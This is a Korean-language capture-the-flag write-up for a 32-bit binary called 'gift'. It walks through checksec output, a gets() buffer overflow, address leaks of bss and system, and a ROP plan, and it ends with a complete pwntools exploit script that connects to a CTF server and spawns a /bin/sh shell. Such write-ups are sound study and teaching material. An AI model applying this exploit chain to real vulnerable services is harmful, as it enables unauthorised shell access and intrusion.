gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : disabled
main 함수의 gets 부분이 핵심이다. 이를 통해 BOF를 진행한다.
$ ./gift
Hey guyssssssssss here you are: 0x8049940 0xf7dbc3d0
$ ./gift
Hey guyssssssssss here you are: 0x8049940 0xf7e183d0
바이너리를 실행시킬 때마다 system 값의 주소가 변한다. ASLR이 걸려있는 것을 확인.
( binsh 부분의 주소는 bss영역의 시작 주소이다. bss 영역이므로 주소 변화가 없음 )
system 주소를 Leak해서 익스플로잇을 진행하면 될 것 같다.
익스플로잇 순서는 다음과 같다.
1. gets함수를 이용할 gadget, gets함수의 주소 구하기
2. main함수 내에 있는 gets(&s) 부분에 BOF & ROP
3. gadget을 이용해 gets함수를 불러내 bss영역을 인자로 넣는다
4. system함수 불러내 bss영역을 인자로 넣기
5. /bin/sh 집어넣기
Exploit Code
from pwn import *
context.log_level = 'debug'
p = remote("ctf.j0n9hyun.xyz", 3018)
e = ELF('./gift')
pr = 0x80483ad
p.recvuntil('are: ')
bss = int(p.recv(9), 16)
p.recv(1)
system = int(p.recv(10), 16)
log.info("Bss : " + hex(bss) )
log.info("System : " + hex(system))
gets = e.plt['gets']
p.sendline('AAAA')
p.recvuntil('AAAA\n')
payload = 'A' * 0x88
payload += p32(gets)
payload += p32(pr)
payload += p32(bss)
payload += p32(system)
payload += 'BBBB'
payload += p32(bss)
p.sendline(payload)
p.sendline("/bin/sh\x00")
p.interactive()